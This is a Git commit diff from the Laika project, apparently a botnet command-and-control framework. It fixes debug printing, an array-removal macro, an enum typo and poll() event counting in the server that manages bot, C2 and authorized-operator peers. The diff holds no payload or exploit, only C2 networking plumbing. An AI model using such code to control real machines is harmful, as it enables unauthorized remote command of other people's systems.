1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 20:40:05 +00:00

Fixed poll() path in lpolllist.c, fixed laikaM_rmvarray()

This commit is contained in:
CPunch 2022-01-31 13:27:12 -06:00
parent 9291dbf823
commit 6d799a7532
5 changed files with 10 additions and 10 deletions

View File

@ -36,7 +36,7 @@ void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */ laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */
LAIKA_DEBUG("accepted handshake from peer %x\n", peer); LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
} }
PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = { PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
@ -84,7 +84,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
} }
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
LAIKA_DEBUG("peer %x killed!\n", peer); LAIKA_DEBUG("peer %lx killed!\n", peer);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer); laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
laikaS_freePeer(peer); laikaS_freePeer(peer);
} }
@ -119,7 +119,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
/* add to our pollList */ /* add to our pollList */
laikaP_addSock(&cnc->pList, &peer->sock); laikaP_addSock(&cnc->pList, &peer->sock);
LAIKA_DEBUG("new peer %x!\n", peer); LAIKA_DEBUG("new peer %lx!\n", peer);
continue; continue;
} }

View File

@ -11,7 +11,7 @@
#define ARRAY_START 4 #define ARRAY_START 4
#ifdef DEBUG #ifdef DEBUG
#define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); #define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout);
#else #else
#define LAIKA_DEBUG(...) #define LAIKA_DEBUG(...)
#endif #endif

View File

@ -16,7 +16,7 @@
/* moves array elements above indx down by numElem, removing numElem elements at indx */ /* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(type, buf, count, indx, numElem) { \ #define laikaM_rmvarray(type, buf, count, indx, numElem) { \
int _i, _sz = ((count-indx)-numElem)*sizeof(type); \ int _i, _sz = ((count-indx)-numElem); \
for (_i = 0; _i < _sz; _i++) \ for (_i = 0; _i < _sz; _i++) \
buf[indx+_i] = buf[indx+numElem+_i]; \ buf[indx+_i] = buf[indx+numElem+_i]; \
count -= numElem; \ count -= numElem; \

View File

@ -8,8 +8,7 @@
#include "lrsa.h" #include "lrsa.h"
typedef enum { typedef enum {
PEER_UNVERIFIED, PEER_UNVERIFIED,
,
PEER_BOT, PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */ PEER_CNC, /* cnc 2 cnc communication */
PEER_AUTH /* authorized peers can send commands to cnc */ PEER_AUTH /* authorized peers can send commands to cnc */

View File

@ -151,6 +151,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
if (SOCKETERROR(nEvents)) if (SOCKETERROR(nEvents))
LAIKA_ERROR("epoll_wait() failed!\n"); LAIKA_ERROR("epoll_wait() failed!\n");
*_nevents = nEvents;
for (i = 0; i < nEvents; i++) { for (i = 0; i < nEvents; i++) {
/* add event to revent array */ /* add event to revent array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity); laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
@ -166,17 +167,18 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
if (SOCKETERROR(nEvents)) if (SOCKETERROR(nEvents))
LAIKA_ERROR("poll() failed!\n"); LAIKA_ERROR("poll() failed!\n");
*_nevents = nEvents;
/* walk through the returned poll fds, if they have an event, add it to our revents array */ /* walk through the returned poll fds, if they have an event, add it to our revents array */
for (i = 0; i < pList->fdCount && nEvents > 0; i++) { for (i = 0; i < pList->fdCount && nEvents > 0; i++) {
PollFD pfd = pList->fds[i]; PollFD pfd = pList->fds[i];
if (pList->fds[i].revents != 0) { if (pList->fds[i].revents != 0) {
/* grab socket from hashmap */ /* grab socket from hashmap */
struct sLaika_socket *sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd}); struct sLaika_hashMapElem *_sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
/* insert event into revents array */ /* insert event into revents array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity); laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
.sock = sock, .sock = _sock->sock,
.pollIn = pfd.revents & POLLIN, .pollIn = pfd.revents & POLLIN,
.pollOut = pfd.revents & POLLOUT .pollOut = pfd.revents & POLLOUT
}; };
@ -187,6 +189,5 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
#endif #endif
/* return revents array */ /* return revents array */
*_nevents = i;
return pList->revents; return pList->revents;
} }